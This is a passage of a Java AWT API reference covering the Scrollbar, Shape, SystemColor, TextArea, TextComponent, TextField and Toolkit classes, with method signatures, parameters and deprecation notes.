The amount to scroll when one of the arrows at the ends of the scrollbar is selected. Replaced by getUnitIncrement().

getMaximum

public int getMaximum()

Implements

Adjustable.getMaximum()

Returns

The maximum value that the Scrollbar can take.

getMinimum

public int getMinimum()

Implements

Adjustable.getMinimum()

Returns

The minimum value that the Scrollbar can take.

getOrientation

public int getOrientation()

Implements

Adjustable.getOrientation()

Returns

A constant representing the direction of the Scrollbar.

getPageIncrement

public int getPageIncrement() (Deprecated)

Returns

The amount to scroll when a paging area is selected. Replaced with getBlockIncrement().

getUnitIncrement

public int getUnitIncrement() (New)

Implements

Adjustable.getUnitIncrement()

Returns

The amount to scroll when one of the arrows at the ends of the scrollbar is selected.

getValue

public int getValue()

Implements

Adjustable.getValue()

Returns

The current setting for the Scrollbar.

getVisible

public int getVisible() (Deprecated)

Returns

The current visible setting (i.e., size) for the slider. Replaced by getVisibleAmount().

getVisibleAmount

public int getVisibleAmount() (New)

Implements

Adjustable.getVisibleAmount()

Returns

The current visible setting (i.e., size) for the slider.

removeAdjustmentListener

public void removeAdjustmentListener (AdjustmentListener l) (New)

Parameters

l

One of this Scrollbar's AdjustmentListeners.

Implements

Adjustable.removeAdjustmentListener()

Description

Remove an adjustment event listener.

setBlockIncrement

public synchronized void setBlockIncrement (int amount) (New)

Parameters

amount

New paging increment amount.

Implements

Adjustable.setBlockIncrement()

Description

Changes the block increment amount for the Scrollbar; the default block increment is 10.

setLineIncrement

public void setLineIncrement (int amount) (Deprecated)

Parameters

amount

New line increment amount.

Description

Changes the line increment amount for the Scrollbar. The default line increment is 1. Replaced by setUnitIncrement(int).

setMaximum

public synchronized void setMaximum (int newMaximum) (New)

Parameters

newMaximum

New maximum value.

Implements

Adjustable.setMaximum()

Description

Changes the maximum value for the Scrollbar.

setMinimum

public synchronized void setMinimum (int newMinimum) (New)

Parameters

newMinimum

New minimum value.

Implements

Adjustable.setMinimum()

Description

Changes the minimum value for the Scrollbar.

setOrientation

public synchronized void setOrientation (int orientation) (New)

Parameters

orientation

One of the orientation constants HORIZONTAL or VERTICAL.

Description

Changes the orientation of the Scrollbar.

setPageIncrement

public void setPageIncrement (int amount) (Deprecated)

Parameters

amount

New paging increment amount.

Description

Changes the paging increment amount for the Scrollbar; the default page increment is 10. Replaced by setBlockIncrement(int).

setUnitIncrement

public synchronized void setUnitIncrement (int amount) (New)

Parameters

amount

New line increment amount.

Implements

Adjustable.setUnitIncrement()

Description

Changes the unit increment amount for the Scrollbar. The default unit increment is 1.

setValue

public synchronized void setValue (int value)

Parameters

value

New Scrollbar value.

Implements

Adjustable.setValue()

Description

Changes the current value of the Scrollbar.

setValues

public synchronized void setValues (int value, int visible, int minimum, int maximum)

Parameters

value

New Scrollbar value.

visible

New slider width.

minimum

New minimum value for Scrollbar.

maximum

New maximum value for Scrollbar.

Description

Changes the settings of the Scrollbar to the given amounts.

setVisibleAmount

public synchronized void setVisibleAmount (int newAmount) (New)

Parameters

newAmount

New amount visible.

Implements

Adjustable.setVisibleAmount()

Description

Changes the current visible amount of the Scrollbar.

Protected Instance Methods

paramString

protected String paramString()

Returns

String with current settings of Scrollbar.

Overrides

Component.paramString()

Description

Helper method for toString() to generate string of current settings.

processAdjustmentEvent

protected void processAdjustmentEvent (AdjustmentEvent e) (New)

Parameters

e

The adjustment event to process.

Description

Adjustment events are passed to this method for processing. Normally, this method is called by processEvent().

processEvent

protected void processEvent (AWTEvent e) (New)

Parameters

e

The event to process.

Description

Low level AWTEvents are passed to this method for processing.

See Also

Adjustable, Component, String

Previous | Home | Next
ScrollPane (New) | Book Index | Shape (New)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 19] Shape

Previous Chapter 19
java.awt Reference 		Next

Shape (New)

Name

Shape (New)

[Graphic: Figure from the text]

Description

Shape is an interface describing a two-dimensional geometric shape.

Interface Definition

public abstract interface java.awt.Shape {

  // Interface Methods
  public abstract Rectangle getBounds();
}

Interface Methods

getBounds

public abstract Rectangle getBounds()

Returns

A Rectangle that completely encloses the shape.

See Also

Polygon, Rectangle

Previous | Home | Next
Scrollbar | Book Index | SystemColor (New)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 19] SystemColor

Previous Chapter 19
java.awt Reference 		Next

SystemColor (New)

Name

SystemColor (New)

[Graphic: Figure from the text]

Description

SystemColor provides information on the colors that the windowing system uses to display windows and other graphic components. Most windowing systems allow the user to choose different color schemes; SystemColor enables programs to find out what colors are in use in order to paint themselves in a consistent manner.

Class Definition

public final class java.awt.SystemColor
    extends java.awt.Color
    implements java.io.Serializable {
  // Constants
  public final static int ACTIVE_CAPTION;
  public final static int ACTIVE_CAPTION_BORDER;
  public final static int ACTIVE_CAPTION_TEXT;
  public final static int CONTROL;
  public final static int CONTROL_DK_SHADOW;
  public final static int CONTROL_HIGHLIGHT;
  public final static int CONTROL_LT_HIGHLIGHT;
  public final static int CONTROL_SHADOW;
  public final static int CONTROL_TEXT;
  public final static int DESKTOP;
  public final static int INACTIVE_CAPTION;
  public final static int INACTIVE_CAPTION_BORDER;
  public final static int INACTIVE_CAPTION_TEXT;
  public final static int INFO;
  public final static int INFO_TEXT;
  public final static int MENU;
  public final static int MENU_TEXT;
  public final static int NUM_COLORS;
  public final static int SCROLLBAR;
  public final static int TEXT;
  public final static int TEXT_HIGHLIGHT;
  public final static int TEXT_HIGHLIGHT_TEXT;
  public final static int TEXT_INACTIVE_TEXT;
  public final static int TEXT_TEXT;
  public final static int WINDOW;
  public final static int WINDOW_BORDER;
  public final static int WINDOW_TEXT;
  public final static SystemColor activeCaption;
  public final static SystemColor activeCaptionBorder;
  public final static SystemColor activeCaptionText;
  public final static SystemColor control;
  public final static SystemColor controlDkShadow;
  public final static SystemColor controlHighlight;
  public final static SystemColor controlLtHighlight;
  public final static SystemColor controlShadow;
  public final static SystemColor controlText;
  public final static SystemColor desktop;
  public final static SystemColor inactiveCaption;
  public final static SystemColor inactiveCaptionBorder;
  public final static SystemColor inactiveCaptionText;
  public final static SystemColor info;
  public final static SystemColor infoText;
  public final static SystemColor menu;
  public final static SystemColor menuText;
  public final static SystemColor scrollbar;
  public final static SystemColor text;
  public final static SystemColor textHighlight;
  public final static SystemColor textHighlightText;
  public final static SystemColor textInactiveText;
  public final static SystemColor textText;
  public final static SystemColor window;
  public final static SystemColor windowBorder;
  public final static SystemColor windowText;
  // Public Instance Methods
  public int getRGB();
  public String toString();
}

Constants

ACTIVE_CAPTION

public static final int ACTIVE_CAPTION

ACTIVE_CAPTION_BORDER

public static final int ACTIVE_CAPTION_BORDER

ACTIVE_CAPTION_TEXT

public static final int ACTIVE_CAPTION_TEXT

CONTROL

public static final int CONTROL

CONTROL_DK_SHADOW

public static final int CONTROL_DK_SHADOW

CONTROL_HIGHLIGHT

public static final int CONTROL_HIGHLIGHT

CONTROL_LT_HIGHLIGHT

public static final int CONTROL_LT_HIGHLIGHT

CONTROL_SHADOW

public static final int CONTROL_SHADOW

CONTROL_TEXT

public static final int CONTROL_TEXT

DESKTOP

public static final int DESKTOP

INACTIVE_CAPTION

public static final int INACTIVE_CAPTION

INACTIVE_CAPTION_BORDER

public static final int INACTIVE_CAPTION_BORDER

INACTIVE_CAPTION_TEXT

public static final int INACTIVE_CAPTION_TEXT

INFO

public static final int INFO

INFO_TEXT

public static final int INFO_TEXT

MENU

public static final int MENU

MENU_TEXT

public static final int MENU_TEXT

NUM_COLORS

public static final int NUM_COLORS

SCROLLBAR

public static final int SCROLLBAR

TEXT

public static final int TEXT

TEXT_HIGHLIGHT

public static final int TEXT_HIGHLIGHT

TEXT_HIGHLIGHT_TEXT

public static final int TEXT_HIGHLIGHT_TEXT

TEXT_INACTIVE_TEXT

public static final int TEXT_INACTIVE_TEXT

TEXT_TEXT

public static final int TEXT_TEXT

WINDOW

public static final int WINDOW

WINDOW_BORDER

public static final int WINDOW_BORDER

WINDOW_TEXT

public static final int WINDOW_TEXT

activeCaption

public static final SystemColor activeCaption

Background color for captions in window borders.

activeCaptionBorder

public static final SystemColor activeCaptionBorder

Border color for captions in window borders.

activeCaptionText

public static final SystemColor activeCaptionText

Text color for captions in window borders.

control

public static final SystemColor control

Background color for controls.

controlDkShadow

public static final SystemColor controlDkShadow

Dark shadow color for controls.

controlHighlight

public static final SystemColor controlHighlight

Highlight color for controls.

controlLtHighlight

public static final SystemColor controlLtHighlight

Light highlight color for controls.

controlShadow

public static final SystemColor controlShadow

Shadow color for controls.

controlText

public static final SystemColor controlText

Text color for controls.

desktop

public static final SystemColor desktop

Desktop background color.

inactiveCaption

public static final SystemColor inactiveCaption

Background color for inactive captions in window borders.

inactiveCaptionBorder

public static final SystemColor inactiveCaptionBorder

Border color for inactive captions in window borders.

inactiveCaptionText

public static final SystemColor inactiveCaptionText

Text color for inactive captions in window borders.

info

public static final SystemColor info

Background color for informational text.

infoText

public static final SystemColor infoText

Text color for informational text.

menu

public static final SystemColor menu

Background color for menus.

menuText

public static final SystemColor menuText

Text color for menus.

scrollbar

public static final SystemColor scrollbar

Background color for scrollbars.

text

public static final SystemColor text

Background color for text components.

textHighlight

public static final SystemColor textHighlight

Background color for highlighted text.

textHighlightText

public static final SystemColor textHighlightText

Text color for highlighted text.

textInactiveText

public static final SystemColor textInactiveText

Text color for inactive text.

textText

public static final SystemColor textText

Text color for text components.

window

public static final SystemColor window

Background color for windows.

windowBorder

public static final SystemColor windowBorder

Border color for windows.

windowText

public static final SystemColor windowText

Text color for windows.

Instance Methods

getRGB

public int getRGB()

Returns

Current color as a composite value

Overrides

Color.getRGB()

Description

Gets integer value of current system color.

toString

public String toString()

Returns

A string representation of the SystemColor object.

Overrides

Color.toString()

See Also

Color, Serializable, String

Previous | Home | Next
Shape (New) | Book Index | TextArea
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 19] TextArea

Previous Chapter 19
java.awt Reference 		Next

TextArea

Name

TextArea

[Graphic: Figure from the text]

Description

The TextArea class provides a multi-line Component for textual user input.

Class Definition

public class java.awt.TextArea
    extends java.awt.TextComponent {
  // Constants
  public final static int SCROLLBARS_BOTH;   (New)
  public final static int SCROLLBARS_HORIZONTAL_ONLY;   (New)
  public final static int SCROLLBARS_NONE;   (New)
  public final static int SCROLLBARS_VERTICAL_ONLY;   (New)

  // Constructors
  public TextArea();
  public TextArea (int rows, int columns);
  public TextArea (String text);
  public TextArea (String text, int rows, int columns);
  public TextArea (String text, int rows, int columns, int scrollbars);   (New)

  // Instance Methods
  public void addNotify();
  public synchronized void append (String string);   (New)
  public void appendText (String string);   (Deprecated)
  public int getColumns();
  public Dimension getMinimumSize();   (New)
  public Dimension getMinimumSize (int rows, int columns);   (New)
  public Dimension getPreferredSize();   (New)
  public Dimension getPreferredSize (int rows, int columns);   (New)
  public int getRows();
  public int getScrollbarVisibility();   (New)
  public synchronized void insert (String string, int position);   (New)
  public void insertText (String string, int position);   (Deprecated)
  public Dimension minimumSize();   (Deprecated)
  public Dimension minimumSize (int rows, int columns);   (Deprecated)
  public Dimension preferredSize();   (Deprecated)
  public Dimension preferredSize (int rows, int columns);   (Deprecated)
  public synchronized void replaceRange (String str, int start, int end);   (New)
  public void replaceText (String string, int startPosition, int endPosition);   (Deprecated)
  public void setColumns (int columns);   (New)
  public void setRows (int rows);   (New)

  // Protected Instance Methods
  protected String paramString();
}

Constants

SCROLLBARS_BOTH

public final static int SCROLLBARS_BOTH (New)

Show both the horizontal and vertical scrollbars.

SCROLLBARS_HORIZONTAL_ONLY

public final static int SCROLLBARS_HORIZONTAL_ONLY (New)

Show the horizontal scrollbar.

SCROLLBARS_NONE

public final static int SCROLLBARS_NONE (New)

Show no scrollbars.

SCROLLBARS_VERTICAL_ONLY

public final static int SCROLLBARS_VERTICAL_ONLY (New)

Show the vertical scrollbar.

Constructors

TextArea

public TextArea()

Description

Constructs a TextArea object with the default size and no initial content. The default size of a text area varies widely from platform to platform, so it's best to avoid this constructor.

public TextArea (int rows, int columns)

Parameters

rows

Requested number of displayed rows.

columns

Requested number of displayed columns.

Description

Constructs a TextArea object of the given size and no initial content.

public TextArea (String text)

Parameters

text

Initial text for TextArea.

Description

Constructs a TextArea object with the given initial content.

public TextArea (String text, int rows, int columns)

Parameters

text

Initial text for TextArea.

rows

Requested number of displayed rows.

columns

Requested number of displayed columns.

Description

Constructs a TextArea object with the given content and size.

public TextArea (String text, int rows, int columns, int scrollbars) (New)

Parameters

text

Initial text for TextArea.

rows

Requested number of displayed rows.

columns

Requested number of displayed columns.

scrollbars

Requested scrollbar visibility. Use one of the constants defined.

Description

Constructs a TextArea object with the given content, size, and scrollbar visibility.

Instance Methods

addNotify

public void addNotify()

Overrides

Component.addNotify()

Description

Creates TextArea's peer.

append

public synchronized void append (String string) (New)

Parameters

string

Content to append to the end of the TextArea.

Description

Appends the given text string to the text already displayed in the TextArea.

appendText

public void appendText (String string) (Deprecated)

Parameters

string

Content to append to end of TextArea.

Description

Replaced by append(String).

getColumns

public int getColumns()

Returns

The width of the TextArea in columns.

getMinimumSize

public Dimension getMinimumSize() (New)

Returns

The minimum dimensions of the TextArea.

public Dimension getMinimumSize (int rows, int columns) (New)

Parameters

rows

Number of rows within TextArea to size.

columns

Number of columns within TextArea to size.

Returns

The minimum dimensions of a TextArea of the given size.

getPreferredSize

public Dimension getPreferredSize() (New)

Returns

The preferred dimensions of the TextArea.

public Dimension getPreferredSize (int rows, int columns) (New)

Parameters

rows

Number of rows within TextArea to size.

columns

Number of columns within TextArea to size.

Returns

The preferred dimensions of a TextArea of the given size.

getRows

public int getRows()

Returns

The height of the TextArea in rows.

getScrollbarVisibility

public int getScrollbarVisibility() (New)

Returns

One of the SCROLLBAR_ constants indicating which scrollbars are visible.

insert

public synchronized void insert (String string, int position) (New)

Parameters

string

Content to place within TextArea content.

position

Location to insert content.

Description

Places additional text within the TextArea at the given position.

insertText

public void insertText (String string, int position) (Deprecated)

Parameters

string

Content to place within TextArea content.

position

Location to insert content.

Description

Places additional text within the TextArea at the given position. Replaced by insert(String, int).

minimumSize

public Dimension minimumSize() (Deprecated)

Returns

The minimum dimensions of the TextArea. Replaced by getMinimumSize().

public Dimension minimumSize (int rows, int columns) (Deprecated)

Parameters

rows

Number of rows within TextArea to size.

columns

Number of columns within TextArea to size.

Returns

The minimum dimensions of a TextArea of the given size. Replaced by getMinimumSize(int, int).

preferredSize

public Dimension preferredSize() (Deprecated)

Returns

The preferred dimensions of the TextArea. Replaced by getPreferredSize().

public Dimension preferredSize (int rows, int columns) (Deprecated)

Parameters

rows

Number of rows within TextArea to size.

columns

Number of columns within TextArea to size.

Returns

The preferred dimensions of a TextArea of the given size. Replaced by getPreferredSize(int, int).

replaceRange

public synchronized void replaceRange (String str, int start, int end) (New)

Parameters

str

New content to place in TextArea.

start

Starting position of content to replace.

end

Ending position of content to replace.

Description

Replaces a portion of the TextArea's content with the given text.

replaceText

public void replaceText (String string, int startPosition, int endPosition) (Deprecated)

Parameters

string

New content to place in TextArea.

startPosition

Starting position of content to replace.

endPosition

Ending position of content to replace.

Description

Replaces a portion of the TextArea's content with the given text. Replaced by replaceRange(String, int, int).

setColumns

public void setColumns (int columns) (New)

Parameters

columns

New number of columns.

Throws

IllegalArgumentException

If columns is less than zero.

Description

Changes the number of columns.

setRows

public void setRows (int rows) (New)

Parameters

rows

New number of columns.

Throws

IllegalArgumentException

If rows is less than zero.

Description

Changes the number of rows.

Protected Instance Methods

paramString

protected String paramString()

Returns

String with current settings of TextArea.

Overrides

TextComponent.paramString()

Description

Helper method for toString() to generate string of current settings.

See Also

Dimension, TextComponent, String

Previous | Home | Next
SystemColor (New) | Book Index | TextComponent
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 19] TextComponent

Previous Chapter 19
java.awt Reference 		Next

TextComponent

Name

TextComponent

[Graphic: Figure from the text]

Description

The abstract TextComponent class provides the base class for the text input components, TextArea and TextField.

Class Definition

public abstract class java.awt.TextComponent
    extends java.awt.Component {

  // Instance Methods
  public void addTextListener (TextListener l);   (New)
  public int getCaretPosition();   (New)
  public synchronized String getSelectedText();
  public synchronized int getSelectionEnd();
  public synchronized int getSelectionStart();
  public synchronized String getText();
  public boolean isEditable();
  public void removeNotify();
  public void removeTextListener (TextListener l);   (New)
  public synchronized void select (int selectionStart, int selectionEnd);
  public synchronized void selectAll();
  public void setCaretPosition (int position);   (New)
  public synchronized void setEditable (boolean state);
  public synchronized void setSelectionEnd (int selectionEnd);   (New)
  public synchronized void setSelectionStart (int selectionStart);   (New)
  public synchronized void setText (String text);

  // Protected Instance Methods
  protected String paramString();
  protected void processEvent (AWTEvent e);   (New)
  protected void processTextEvent (TextEvent e);   (New)
}

Instance Methods

addTextListener

public void addTextListener (TextListener l) (New)

Parameters

l

An object that implements the TextListener interface.

Description

Add a listener for the text events.

getCaretPosition

public int getCaretPosition() (New)

Returns

The position, in characters, of the caret (text cursor).

getSelectedText

public synchronized String getSelectedText()

Returns

The currently selected text of the TextComponent.

getSelectionEnd

public synchronized int getSelectionEnd()

Returns

The ending cursor position of any selected text.

getSelectionStart

public synchronized int getSelectionStart()

Returns

The initial position of any selected text.

getText

public synchronized String getText()

Returns

Current contents of the TextComponent.

isEditable

public boolean isEditable()

Returns

true if editable, false otherwise.

removeNotify

public void removeNotify()

Description

Destroys the peer of the TextComponent.

removeTextListener

public void removeTextListener (TextListener l) (New)

Parameters

l

One of this TextComponent's TextListeners.

Description

Remove a text event listener.

select

public synchronized void select (int selectionStart, int selectionEnd)

Parameters

selectionStart

Beginning position of text to select.

selectionEnd

Ending position of text to select.

Description

Selects text in the TextComponent.

selectAll

public synchronized void selectAll()

Description

Selects all the text in the TextComponent.

setCaretPosition

public void setCaretPosition (int position) (New)

Parameters

position

The new character position for the caret.

Throws

IllegalArgumentException

If position is less than zero.

Description

Allows you to change the location of the caret.

setEditable

public synchronized void setEditable (boolean state)

Parameters

state

true to allow the user to edit the text in the TextComponent; false to prevent editing.

Description

Allows you to make the TextComponent editable or read-only.

setSelectionEnd

public synchronized void setSelectionEnd (int selectionEnd) (New)

Parameters

selectionEnd

The character position of the end of the selection.

Description

Allows you to change the location of the end of the selected text.

setSelectionStart

public synchronized void setSelectionStart (int selectionStart) (New)

Parameters

selectionStart

The character position of the start of the selection.

Description

Allows you to change the location of the start of the selected text.

setText

public synchronized void setText (String text)

Parameters

text

New text for TextComponent.

Description

Sets the content of the TextComponent.

Protected Instance Methods

paramString

protected String paramString()

Returns

String with current settings of TextComponent.

Overrides

Component.paramString()

Description

Helper method for toString() to generate string of current settings.

processEvent

protected void processEvent (AWTEvent e) (New)

Parameters

e

The event to process.

Description

Low-level AWTEvents are passed to this method for processing.

processTextEvent

protected void processTextEvent (TextEvent e) (New)

Parameters

e

The event to process.

Description

Text events are passed to this method for processing. Normally, this method is called by processEvent().

See Also

Component, TextArea, TextField, String

Previous | Home | Next
TextArea | Book Index | TextField
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 19] TextField

Previous Chapter 19
java.awt Reference 		Next

TextField

Name

TextField

[Graphic: Figure from the text]

Description

The TextField class provides a single line Component for user input.

Class Definition

public class java.awt.TextField
    extends java.awt.TextComponent {

  // Constructors
  public TextField();
  public TextField (int columns);
  public TextField (String text);
  public TextField (String text, int columns);

  // Instance Methods
  public void addActionListener (ActionListener l);   (New)
  public void addNotify();
  public boolean echoCharIsSet();
  public int getColumns();
  public char getEchoChar();
  public Dimension getMinimumSize();   (New)
  public Dimension getMinimumSize (int columns);   (New)
  public Dimension getPreferredSize();   (New)
  public Dimension getPreferredSize (int columns);   (New)
  public Dimension minimumSize();   (Deprecated)
  public Dimension minimumSize (int columns);   (Deprecated)
  public Dimension preferredSize();   (Deprecated)
  public Dimension preferredSize (int columns);   (Deprecated)
  public void removeActionListener (ActionListener l);   (New)
  public void setColumns(int columns);   (New)
  public void setEchoChar(char c);   (New)
  public void setEchoCharacter (char c);   (Deprecated)

  // Protected Instance Methods
  protected String paramString();
  protected void processActionEvent (ActionEvent e);   (New)
  protected void processEvent (AWTEvent e);   (New)
}

Constructors

TextField

public TextField()

Description

Constructs a TextField object of the default size.

public TextField (int columns)

Parameters

columns

Requested number of displayed columns.

Description

Constructs a TextField object of the given size.

public TextField (String text)

Parameters

text

Initial text for TextField.

Description

Constructs a TextField object with the given content.

public TextField (String text, int columns)

Parameters

text

Initial text for TextField.

columns

Requested number of displayed columns.

Description

Constructs a TextField object with the given content and size.

Instance Methods

addActionListener

public void addActionListener (ActionListener l) (New)

Parameters

l

An object that implements the ActionListener interface.

Description

Add a listener for the action event.

addNotify

public synchronized void addNotify()

Overrides

Component.addNotify()

Description

Creates TextField's peer.

echoCharIsSet

public boolean echoCharIsSet()

Returns

true if the TextField has an echo character used as a response to any input character; false otherwise. An echo character can be used to create a TextField for hidden input, like a password; the same character (e.g., "x") is used to echo all input.

getColumns

public int getColumns()

Returns

The width of the TextField in columns.

getEchoChar

public char getEchoChar()

Returns

The current echo character.

getMinimumSize

public Dimension getMinimumSize() (New)

Returns

The minimum dimensions of the TextField.

public Dimension getMinimumSize (int columns) (New)

Parameters

columns

Number of columns within TextField to size.

Returns

The minimum dimensions of a TextField of the given size.

getPreferredSize

public Dimension getPreferredSize() (New)

Returns

The preferred dimensions of the TextField.

public Dimension getPreferredSize (int columns) (New)

Parameters

columns

Number of columns within TextField to size.

Returns

The preferred dimensions of a TextField of the given size.

minimumSize

public Dimension minimumSize() (Deprecated)

Returns

The minimum dimensions of the TextField. Replaced by getMinimumSize().

public Dimension minimumSize (int columns) (Deprecated)

Parameters

columns

Number of columns within TextField to size.

Returns

The minimum dimensions of a TextField of the given size. Replaced by getMinimumSize(int).

preferredSize

public Dimension preferredSize() (Deprecated)

Returns

The preferred dimensions of the TextField. Replaced by getPreferredSize().

public Dimension preferredSize (int columns) (Deprecated)

Parameters

columns

Number of columns within TextField to size.

Returns

The preferred dimensions of a TextField of the given size. Replaced by getPreferredSize(int).

removeActionListener

public void removeActionListener (ActionListener l) (New)

Parameters

l

One of this TextField's ActionListeners.

Description

Remove an action event listener.

setColumns

public void setColumns (int columns) (New)

Parameters

columns

New number of columns.

Throws

IllegalArgumentException

If columns is less than zero.

Description

Changes the number of columns.

setEchoChar

public void setEchoChar (char c) (New)

Parameters

c

The character to echo for all input. To echo the characters that the user types (the default), set the echo character to 0 (zero).

Description

Changes the character that is used to echo all user input in the TextField.

setEchoCharacter

public void setEchoCharacter (char c) (Deprecated)

Parameters

c

The character to echo for all input. To echo the characters that the user types (the default), set the echo character to 0 (zero).

Description

Replaced by setEchoChar(char) for consistency with getEchoChar().

Protected Instance Methods

paramString

protected String paramString()

Returns

String with current settings of TextField.

Overrides

TextComponent.paramString()

Description

Helper method for toString() to generate string of current settings.

processActionEvent

protected void processActionEvent (ActionEvent e) (New)

Parameters

e

The action event to process.

Description

Action events are passed to this method for processing. Normally, this method is called by processEvent().

processEvent

protected void processEvent (AWTEvent e) (New)

Parameters

e

The event to process.

Description

Low-level AWTEvents are passed to this method for processing.

See Also

Dimension, TextComponent, String

Previous | Home | Next
TextComponent | Book Index | Toolkit
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 19] Toolkit

Previous Chapter 19
java.awt Reference 		Next

Toolkit

Name

Toolkit

[Graphic: Figure from the text]

Description

The abstract Toolkit class provides access to platform-specific details like window size and available fonts. It also deals with creating all the components' peer objects when you call addNotify().

Class Definition

public abstract class java.awt.Toolkit
    extends java.lang.Object {
  // Class Methods
  public static synchronized Toolkit getDefaultToolkit();
  protected static Container getNativeContainer (Component c);   (New)
  public static String getProperty (String key, String defaultValue);   (New)

  // Instance Methods
  public abstract void beep();   (New)
  public abstract int checkImage (Image image, int width, int height,
    ImageObserver observer);
  public abstract Image createImage (ImageProducer producer);
  public Image createImage (byte[] imagedata);   (New)
  public abstract Image createImage (byte[ ] imagedata, int imageoffset,
    int imagelength);   (New)
  public abstract ColorModel getColorModel();
  public abstract String[] getFontList();
  public abstract FontMetrics getFontMetrics (Font font);
  public abstract Image getImage (String filename);
  public abstract Image getImage (URL url);
  public int getMenuShortcutKeyMask();   (New)
  public abstract PrintJob getPrintJob (Frame frame, String jobtitle,
    Properties props);   (New)
  public abstract int getScreenResolution();
  public abstract Dimension getScreenSize();
  public abstract Clipboard getSystemClipboard();   (New)
  public final EventQueue getSystemEventQueue();   (New)
  public abstract boolean prepareImage (Image image, int width, int height,
    ImageObserver observer);
  public abstract void sync();

  // Protected Instance Methods
  protected abstract ButtonPeer createButton (Button b);
  protected abstract CanvasPeer createCanvas (Canvas c);
  protected abstract CheckboxPeer createCheckbox (Checkbox cb);
  protected abstract CheckboxMenuItemPeer createCheckboxMenuItem
    (CheckboxMenuItem cmi);
  protected abstract ChoicePeer createChoice (Choice c);
  protected LightweightPeer createComponent(Component target);   (New)
  protected abstract DialogPeer createDialog (Dialog d);
  protected abstract FileDialogPeer createFileDialog (FileDialog fd);
  protected abstract FramePeer createFrame (Frame f);
  protected abstract LabelPeer createLabel (Label l);
  protected abstract ListPeer createList (List l);
  protected abstract MenuPeer createMenu (Menu m);
  protected abstract MenuBarPeer createMenuBar (MenuBar mb);
  protected abstract MenuItemPeer createMenuItem (MenuItem mi);
  protected abstract PanelPeer createPanel (Panel p);
  protected abstract PopupMenuPeer createPopupMenu (PopupMenu target);   (New)
  protected abstract ScrollPanePeer createScrollPane (ScrollPane target);    (New)
  protected abstract ScrollbarPeer createScrollbar (Scrollbar sb);
  protected abstract TextAreaPeer createTextArea (TextArea ta);
  protected abstract TextFieldPeer createTextField (TextField tf);
  protected abstract WindowPeer createWindow (Window w);
  protected abstract FontPeer getFontPeer (String name, int style);   (New)
  protected abstract EventQueue getSystemEventQueueImpl();   (New)
  protected void loadSystemColors (int[] systemColors);    (New)
}

Class Methods

getDefaultToolkit

public static synchronized Toolkit getDefaultToolkit()

Throws

AWTError

If the toolkit for the current platform cannot be found.

Returns

The system's default Toolkit.

getNativeContainer

protected static Container getNativeContainer (Component c) (New)

Returns

The native container for the given component. The component's immediate parent may be a lightweight component.

getProperty

public static String getProperty (String key, String defaultValue) (New)

Parameters

key

The name of a property.

defaultValue

A default value to return if the property is not found.

Returns

The value of the property described by key, or defaultValue if it is not found.

Instance Methods

beep

public abstract void beep() (New)

Description

Produces an audible beep.

checkImage

public abstract int checkImage (Image image, int width, int height, ImageObserver observer)

Parameters

image

Image to check.

width

Width of the scaled image; -1 if image will be rendered unscaled.

height

Height of the scaled image; -1 if image will be rendered unscaled.

observer

The Component that image will be rendered on.

Returns

The ImageObserver flags ORed together for the data that is now available.

Description

Checks on the status of the construction of a screen representation of image on observer.

createImage

public abstract Image createImage (ImageProducer producer)

Parameters

producer

An ImageProducer that generates data for the desired image.

Returns

Newly created Image.

Description

Creates a new Image from an ImageProducer.

public abstract Image createImage (byte[] imagedata) (New)

Parameters

imagedata

Raw data representing an image.

Returns

Newly created Image.

Description

Creates a new Image from the imagedata provided.

public abstract Image createImage (byte[] imagedata, int imageoffset, int imagelength) (New)

Parameters

imagedata

Raw data representing one or more images.

imageoffset

An offset into the data given.

imagelength

The length of data to use.

Returns

Newly created Image.

Description

Creates a new Image from the imagedata provided, starting at imageoffset bytes and reading imagelength bytes.

getColorModel

public abstract ColorModel getColorModel()

Returns

The current ColorModel used by the system.

getFontList

public abstract String[] getFontList()

Returns

A String array of the set of Java fonts available with this Toolkit.

getFontMetrics

public abstract FontMetrics getFontMetrics (Font font)

Parameters

font

A Font whose metrics are desired

Returns

The current FontMetrics for the font on the user's system.

getImage

public abstract Image getImage (String filename)

Parameters

filename

Location of Image on local filesystem

Returns

The Image that needs to be fetched.

Description

Fetches an image from the local file system.

public abstract Image getImage (URL url)

Parameters

url

Location of Image.

Returns

The Image that needs to be fetched.

Description

Fetches an image from a URL.

getMenuShortcutKeyMask

public int getMenuShortcutKeyMask() (New)

Returns

The modifier key mask used for menu shortcuts. This will be one of the mask constants defined in java.awt.Event.

getPrintJob

public abstract PrintJob getPrintJob (Frame frame, String jobtitle, Properties props) (New)

Parameters

frame

The frame to be used as the parent of a platform-specific printing dialog.

jobtitle

The name of the job.

props

Properties for this print job.

Returns

A PrintJob object. If the user canceled the printing operation, null is returned.

getScreenResolution

public abstract int getScreenResolution()

Returns

The current resolution of the user's screen, in dots-per-inch.

getScreenSize

public abstract Dimension getScreenSize()

Returns

The size of the screen available to the Toolkit, in pixels, as a Dimension object.

getSystemClipboard

public abstract Clipboard getSystemClipboard() (New)

Returns

A Clipboard object that can be used for cut, copy, and paste operations.

getSystemEventQueue

public final EventQueue getSystemEventQueue() (New)

Returns

A reference to the system's event queue, allowing the program to post new events or inspect the queue.

prepareImage

public abstract boolean prepareImage (Image image, int width, int height, ImageObserver observer)

Parameters

image

Image to check.

width

Width of the scaled image; -1 if image will be rendered unscaled.

height

Height of the scaled image; -1 if image will be rendered unscaled.

observer

The Component that image will be rendered on.

Returns

true if image fully loaded, false otherwise.

Description

Forces the system to start loading the image.

sync

public abstract void sync()

Description

Flushes the display of the underlying graphics context.

Protected Instance Methods

createButton

protected abstract ButtonPeer createButton (Button b)

Parameters

b

Component whose peer needs to be created.

Returns

Newly created peer.

Description

Creates a peer for the Button.

createCanvas

protected abstract CanvasPeer createCanvas (Canvas c)

Parameters

c

Component whose peer needs to be created.

Returns

Newly created peer.

Description

Creates a peer for the Canvas.

createCheckbox

protected abstract CheckboxPeer createCheckbox (Checkbox cb)

Parameters

cb

Component whose peer needs to be created.

Returns

Newly created peer.

Description

Creates a peer for the Checkbox.

createCheckboxMenuItem

